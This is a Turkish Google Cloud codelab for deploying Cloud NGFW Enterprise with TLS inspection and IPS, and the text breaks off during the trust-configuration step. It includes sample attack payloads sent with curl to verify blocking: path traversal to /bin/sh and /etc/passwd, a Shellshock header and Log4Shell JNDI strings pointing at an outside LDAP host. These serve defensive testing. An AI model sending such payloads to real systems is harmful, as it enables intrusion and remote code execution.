Cloud NGFW Enterprise Codelab [TLS Denetlemeli]

1. Giriş

Cloud Next Generation Güvenlik Duvarı (NGFW)

Cloud Next Generation Firewall, Google Cloud iş yüklerinizi dahili ve harici saldırılardan korumak için gelişmiş koruma özellikleri, mikro segmentasyon ve geniş kapsama sahip, tümüyle dağıtılmış bir güvenlik duvarı hizmetidir.

Cloud NGFW aşağıdaki avantajları sunar:

  • Dağıtılmış güvenlik duvarı hizmeti: Cloud NGFW, sıfır güven güvenlik mimarisi sağlamak için her iş yükü üzerinde durum bilgili ve tam olarak dağıtılmış, ana makine tabanlı bir yaptırım sağlar.
  • Basitleştirilmiş yapılandırma ve dağıtım: Cloud NGFW, bir kaynak hiyerarşisi düğümüne eklenebilecek ağ ve hiyerarşik güvenlik duvarı politikalarını uygular. Bu politikalar, Google Cloud kaynak hiyerarşisi genelinde tutarlı bir güvenlik duvarı deneyimi sağlar.
  • Ayrıntılı kontrol ve mikro segmentasyon: Güvenlik duvarı politikaları ile Identity and Access Management (IAM) destekli Etiketler'in birlikte kullanılması, Sanal Özel Bulut (VPC) ağlarında ve kuruluşlarında tek bir sanal makineye kadar hem kuzey-güney hem de doğu-batı trafiği için hassas kontrol sağlar.

Cloud NGFW aşağıdaki katmanlarda kullanılabilir:

  • Cloud Yeni Nesil Güvenlik Duvarıyla İlgili Temel Bilgiler
  • Cloud Yeni Nesil Güvenlik Duvarı Standardı
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise, dağıtılmış Google Cloud Güvenlik Duvarı yapısına 7. Katman özelliği olan Yetkisiz Erişim Önleme Hizmeti'ni (IPS) ekledi. TLS denetimi, TLS şifreli trafiğin denetlenmesini sağlamak için desteklenir.

Artık ağ mimarinizde veya yönlendirme yapılandırmalarınızda herhangi bir değişiklik yapmadan, ayrıntılı kontrollerle güvenilir Katman 7 Yeni Nesil Güvenlik Duvarı (NGFW) denetimlerini dağıtabilirsiniz.

IPS ile Katman 7 güvenlik duvarı denetimini etkinleştirip dağıtmak için aşağıdaki görevleri gerçekleştirmeniz gerekir:

  • Google Cloud tarafından yönetilen bir dizi alt bölgesel güvenlik duvarı uç noktası oluşturun.
  • İsteğe bağlı olarak bir TLS Denetleme Politikası oluşturun.
  • İsteğe bağlı olarak bir Güven Yapılandırması oluşturun.
  • Bu uç noktaları, Cloud NGFW Enterprise hizmetine ihtiyacınız olan Sanal Özel Bulut (VPC) ağlarıyla ilişkilendirin.
  • Çeşitli trafik yolları için tehdit önleme profillerini belirtmek üzere mevcut güvenlik duvarı politikalarınızda ve güvenlik duvarı kurallarınızda basit değişiklikler yapın.

Ağ güvenlik duvarı politikaları

Ağ güvenlik duvarı politikası, güvenlik duvarı kuralları için bir kapsayıcı görevi görür. Ağ güvenlik duvarı politikasında tanımlanan kurallar, politika bir VPC ağıyla ilişkilendirilene kadar hiçbir yerde zorunlu kılınmaz. Her VPC ağının kendisiyle ilişkilendirilmiş bir ağ güvenlik duvarı politikası olabilir. Ağ güvenlik duvarı politikaları, güvenlik duvarı kurallarında IAM tarafından yönetilen etiketleri (veya yalnızca etiketleri) destekler. Bu etiketler, mevcut ağ etiketlerinin yerini alır ve iş yüküne kimlik sağlamak için kullanılabilir.

Ağlar arasında bir ağ güvenlik duvarı politikasının paylaşılması ve IAM tarafından yönetilen etiketlerle entegrasyon, güvenlik duvarlarının yapılandırmasını ve yönetimini büyük ölçüde basitleştirir.

Ağ güvenlik duvarı politikasının kullanıma sunulmasıyla birlikte Google Cloud'un güvenlik duvarı politikaları artık aşağıdaki bileşenlerden oluşmaktadır:

  1. Hiyerarşik Güvenlik Duvarı Politikası
  2. VPC Güvenlik Duvarı Kuralları
  3. Ağ Güvenlik Duvarı Politikası ( Global ve Bölgesel)

Hiyerarşik güvenlik duvarı politikaları, kaynak hiyerarşisindeki kuruluş ve klasör düğümlerinde desteklenirken VPC güvenlik duvarı kuralları ve ağ güvenlik duvarı politikaları VPC düzeyinde uygulanır. VPC güvenlik duvarı kuralları ile ağ güvenlik duvarı politikaları arasındaki önemli fark, VPC güvenlik duvarı kurallarının yalnızca tek bir VPC ağına uygulanmasıdır. Ağ güvenlik duvarı politikalarının ise toplu güncellemeler gibi diğer avantajların yanı sıra tek bir VPC'ye veya VPC grubuna bağlanabilir.

Son olarak, her VPC ağıyla birlikte gelen ima edilen güvenlik duvarı kurallarımız da vardır:

  • İşlemine izin verilen bir çıkış kuralı, hedefi 0.0.0.0/0
  • İşlemi reddet olan bir giriş kuralı (kaynağı 0.0.0.0/0)

Varsayılan olarak, yaptırım sırası aşağıdaki şemada gösterilir:

21b3bcabc469ffe.png

VPC güvenlik duvarı kuralları ile küresel ağ güvenlik duvarı politikası arasındaki yaptırım emrinin değiştirilebileceğini lütfen unutmayın. Müşteriler, gcloud komutuyla istedikleri zaman yaptırım kararını belirtebilir.

Etiketler

Yeni Ağ güvenlik duvarı politika kurallarına entegre olan etiketler, Google Cloud kaynak hiyerarşisinin kuruluşunda veya proje düzeyinde tanımlanan anahtar/değer çifti kaynaklarıdır. Bu tür bir Etiket, etikette kimin ne yapabileceğini belirten IAM erişim denetimleri içerir. Örneğin, Idenity and Access Management (IAM) izinleri, hangi ana hesapların etiketlere değer atayabileceğini ve kaynaklara hangi ana hesapların etiket ekleyebileceğini belirtmesini sağlar. Bir ağ güvenlik duvarı kuralı bir Etikete referans veriyorsa yaptırım için bu etiketin bir kaynağa uygulanması gerekir.

Etiketler, Google Cloud'un devralma kaynak modeline bağlıdır. Diğer bir deyişle, etiketler ve değerleri üst öğelerden hiyerarşiye aktarılır. Sonuç olarak, etiketler bir yerde oluşturulabilir ve ardından kaynak hiyerarşisindeki diğer klasörler ve projeler tarafından kullanılabilir. Etiketler ve erişim kısıtlaması hakkında ayrıntılar için bu sayfayı ziyaret edin.

Etiketler ağ etiketleri ile karıştırılmamalıdır. İkincisi ise Compute Engine örneklerine eklenebilen dizelerdir; örnekle ilişkilendirilir ve örnek kullanımdan kaldırıldığında kaybolur. VPC güvenlik duvarı kuralları ağ etiketleri içerebilir ancak bulut kaynağı olarak kabul edilmedikleri için IAM erişim kontrolüne tabi değildirler.

Etiketlerin ve IAM tarafından yönetilen etiketlerin bu dokümanda birbirinin yerine kullanıldığını unutmayın.

Oluşturacaklarınız

Bu codelab'de tek bir proje olması ve VPC ağı oluşturabilmesinin yanı sıra çeşitli ağ ve güvenlik kaynaklarını yönetebilmeniz gerekir. Bu slaytta, Cloud NGFW Enterprise'ın IPS işlevlerini nasıl sağlayabileceği aşağıda açıklanmıştır:

  • Kuzeye giden internet akışlarını TLS denetimiyle inceleme
  • TLS denetimiyle VPC içi akışları [Doğu-Batı] inceleme

İncelenecek akışlar, 5 unsurlu (kaynak IP, hedef IP, protokol, kaynak bağlantı noktası, hedef bağlantı noktası) ve Etiketler dahil Cloud Firewall eşleşme parametreleri kullanılarak seçilir.

3d0f288d3b92a295.png

Ağ güvenlik duvarı politikası kural tabanının bitiş durumu, aşağıdaki tabloya benzer:

Öncelik

Yön

Target

Kaynak

Hedef

İşlem

Tür

100

Giriş

Server_Tag

Durum Denetimleri

Tümü

İzin ver

Essentials

200

Giriş

Client_Tag, Server_Tag

IAP

Tümü

İzin ver

Essentials

800

Giriş

Server_Tag

10.0.0.0/24

10.0.0.0/24

L7 Denetimi

Kurumsal

850

Çıkış

Client_Tag

Tümü

10.0.0.0/24

İzin ver

Essentials

900

Çıkış

Client_Tag

Tümü

Tümü

L7 Denetimi

Kurumsal

Neler öğreneceksiniz?

  • Ağ güvenlik duvarı politikası nasıl oluşturulur?
  • Ağ güvenlik duvarı politikasıyla etiket oluşturma ve kullanma
  • Cloud NGFW Enterprise'ı TLS denetimiyle yapılandırma ve kullanma

Gerekenler

  • Google Cloud projesi.
  • Örnekleri dağıtma ve ağ bileşenlerini yapılandırma hakkında bilgi.
  • VPC güvenlik duvarı yapılandırma bilgisi.

2. Başlamadan önce

Değişken oluşturma/güncelleme

Bu codelab'de, Cloud Shell'de gcloud yapılandırması uygulamasına yardımcı olmak için $variables kullanılır.

Cloud Shell'de, köşeli parantez içindeki bilgileri değiştirerek aşağıdaki komutları gerektiği şekilde çalıştırın:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. API'leri etkinleştir

Henüz yapmadıysanız API'leri etkinleştirin:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW Enterprise Uç Nokta Oluşturma

Cloud NGFW Enterprise uç noktası oluşturma işlemi yaklaşık 20 dakika sürdüğünden önce uç nokta oluşturulur. Ardından temel kurulum, uç nokta oluşturulurken paralel olarak yapılabilir.

Güvenlik Profili ve Güvenlik Profili Grubu'nu oluşturun:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Beklenen çıkış:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

Kaynakların başarıyla oluşturulduğunu onaylayın:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Beklenen çıkış (çıktı biçiminin kullanılan istemciye göre değişebileceğini unutmayın:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Cloud NGFW Enterprise uç noktasını oluşturun:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing

Uç noktanın oluşturulmakta olduğunu onaylamak için (CREATING) aşağıdaki komutu çalıştırın.

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Beklenen çıkış (çıktı biçiminin kullanılan istemciye göre değişebileceğini unutmayın):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

İsteğe bağlı olarak, daha fazla ayrıntı almak için aşağıdaki komutu çalıştırın:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Beklenen çıkış:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

Oluşturma işlemi yaklaşık 20 dakika sürer. Paralel olarak gerekli kaynakları oluşturmak için Temel Kurulum bölümüne geçin.

5. Temel Kurulum

VPC ağı ve alt ağ

VPC Ağı ve alt ağ

VPC ağını ve alt ağı oluşturun:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Cloud Router ve Cloud NAT ağ geçidini oluşturun:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Örnekler

İstemci ve web sunucusu örneklerini oluşturun:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Proje Düzeyindeki Etiketler

Gerek varsa kullanıcıya tagAdmin iznini atayın:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Proje düzeyinde etiket anahtarı ve değerlerini oluşturun:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Etiketleri örneklere bağlayın:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Global ağ güvenlik duvarı politikası

Küresel bir ağ güvenlik duvarı politikası oluşturun:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Durum denetimi ve kimliği duyarlı proxy aralıklarından gelen trafiğe izin vermek için gerekli Cloud Firewall Temel kurallarını oluşturun:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Belirli aralıklardan doğudan batıya / alt ağ içi trafiğe izin vermek için gerekli Cloud Güvenlik Duvarı kurallarını oluşturun (Bu kurallar, TLS denetimiyle Cloud NGFW Enterprise'ı etkinleştirmek için güncellenecektir):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Bulut güvenlik duvarı politikasını VPC ağıyla ilişkilendirin:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Cloud Güvenlik Duvarı Uç Noktası İlişkilendirmesi

Henüz yapmadıysanız ve/veya komut dosyası yaklaşımını tercih ediyorsanız ortam değişkenlerini tanımlayın.

Cloud Güvenlik Duvarı Uç Noktası oluşturma işleminin başarıyla tamamlandığını onaylayın. Yalnızca durum ACTIVE olarak gösterildiğinde devam edin (oluşturma sırasında beklenen durum CREATING olur):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Beklenen çıkış (çıktı biçiminin kullanılan istemciye göre değişebileceğini unutmayın):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

İsteğe bağlı olarak, daha fazla ayrıntı almak için aşağıdaki komutu çalıştırın:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Beklenen çıkış:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Cloud Firewall uç noktasını VPC ağıyla ilişkilendirin:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

İlişkilendirme işlemi yaklaşık 10 dakika sürer. TLS bölümüne yalnızca durum ACTIVE olarak gösterildikten sonra devam edin (oluşturma işlemi sırasında, beklenen durum CREATING olur):

gcloud network-security firewall-endpoint-associations list

Tamamlandığında beklenen çıkış:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

İsteğe bağlı olarak, daha fazla ayrıntı almak için aşağıdaki komutu çalıştırın:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Beklenen çıkış:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. TLS Kaynaklarını Yapılandırma

CA havuzu oluşturun. Bu kaynak, NGFW Enterprise için oluşturduğumuz Kök CA sertifikasını barındırmak için kullanılacaktır.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Kök CA'yı oluşturun. Bu, NGFW Enterprise aracılığıyla istekler için ek sertifikaların imzalanmasında kullanılacak CA sertifikasıdır.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Aşağıdaki mesajı görürseniz y cevabını verin:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

Bir hizmet hesabı oluşturun. Bu hizmet hesabı, NGFW Enterprise için sertifika isteğinde bulunmak amacıyla kullanılır:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Hizmet hesabı için IAM izinlerini ayarlayın:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

TLS Politikası YAML dosyasını oluşturun. Bu dosya, belirli kaynaklarla ilgili bilgileri içerir:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

TLS denetleme politikasını içe aktarın:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

TLS'yi etkinleştirmek için uç nokta ilişkilendirmesini güncelleyin:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

CA sertifikasını alın ve istemcinin CA deposuna ekleyin:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

CA sertifikasını istemciye aktarın:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Sanal makineye SSH uygulayın, CA sertifikasını /usr/local/share/ca-certificates hedefine taşıyın ve CA deposunu güncelleyin:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Cloudshell'e geri dönün.

Sunucu Sertifikası İmzalama işlemi:

Cloud Shell'de pip komutunu kullanarak Pyca kriptografi kitaplığını yükleyin:

pip install --user "cryptography>=2.2.0"

Google Cloud SDK'nın Pyca kriptografi kitaplığını kullanmasına izin vermek için site paketlerini etkinleştirmeniz gerekir.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Sunucu Sertifikasını oluşturun:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

Bu işlem, cloudshell'de bir cert.pem ve key.pem dosyası oluşturur. Ardından, sertifikayı ve anahtarı sunucuya aktarın.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Apache'nin sertifika ayrıntılarını güncellemek için sunucuya SSH uygulayın:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Sertifikayı ve anahtarı belirli bir klasöre taşıyın:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

ssl yapılandırmasını, imzalı sertifikayı kullanacak şekilde güncelleyin:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Apache'yi yeniden başlatın:

sudo systemctl restart apache2

Apache durumunu doğrulayın:

sudo systemctl status apache2

Etkin (çalışıyor) olmalıdır.

Sanal makineden çıkıp Cloud Shell'e devam edin.

8. Kuzeye ve doğuya giden bağlantıyı doğrulayın

Cloud Shell'de aşağıdaki komutları çalıştırın ve kullanılacak hedef IP'leri not edin:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Yeni bir sekme açın ve IAP üzerinden istemci sanal makinesine SSH bağlantısı başlatın (değişkenleri yeni sekmede tanımlamanız gerekir):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Aşağıdaki komutları çalıştırın ve kullanılacak hedef IP'leri not edin. Köşeli parantez içindeki değerleri, önceki adımda belirtilen IP'lerle değiştirerek değişkenleri oluşturun ve bunların erişilebilir olduğundan emin olun:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Özel IP'yi kıvırın ve erişilebilir olduğundan emin olun:

curl https://$target_privateip --max-time 2

Curl isteği için beklenen sonuçlar:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

IP'ye örnek saldırılar gönderin. Web sunucusu tüm isteklere yanıt vererek L7'de gerekli inceleme/engellemenin olmadığını onaylamalıdır:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

Örnek Beklenen sonuçlar (gizli IP):

400
404
400
200
200

Benzer şekilde, bir internet hedefine istek gönderin:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

Beklenen sonuçlar örneği (internet hedefi):

400
404
400
403
403

Sanal makine terminalinden çıkıp Cloud Shell'e dönün.

9. TLS Denetimi İçin Güvenlik Duvarı Kuralları Oluşturma ve Güncelleme

Daha önce, dahili alt ağdan sunucumuza giriş trafiğine izin verecek bir güvenlik duvarı kuralı yapılandırmıştık. Şimdi mevcut giriş kurallarını güncelleyeceğiz ve işlemi apply_security_profile_group olarak ayarlayacağız. Bu, TLS ile E/W L7 denetimini mümkün kılar:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Kuzeye L7 denetimini TLS ile incelemek için yeni bir kural oluşturun.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Çifte denetimi önlemek için E/W için EGRESS'e izin verecek yeni bir kural oluşturun.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. Kuzeye Giden TLS Denetimini Doğrulama

İstemci sanal makine sekmesine geri dönün veya tekrar bağlanın:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Örnek saldırıları bir internet hedefine gönderin:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Aşağıdaki beklenen çıkışa göre hiçbir yanıt alınmadı. Bu, örnek saldırıların şu anda engellendiğini doğrular:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Değişkeni, önceki sunucu IP'sine ayarlayın:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Sunucuya örnek TLS istekleri gönderin:

curl https://$target_privateip --max-time 2

Beklenen çıkış:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Bu istek neden başarısız oldu? Bunun nedeni, güvenlik duvarının sunucudan güvenilmeyen bir sertifika almasıdır. Bu durumda istemciye kendinden imzalı bir sertifika iletir. Güveni etkinleştirmek için CA sertifikasını güven yapılandırmasının parçası olarak eklememiz gerekir.

Cloud Shell'e geri dönün.

11. Güven Yapılandırmasını Yapılandırma

Kök CA sertifikasını alın ve doğru biçimlendirmeye sahip bir değişken olarak ayarlayın.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Güven Yapılandırması YAML dosyasını yapılandırın. Bu dosya, CA sertifikaları gibi güven ayrıntılarını içerir:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

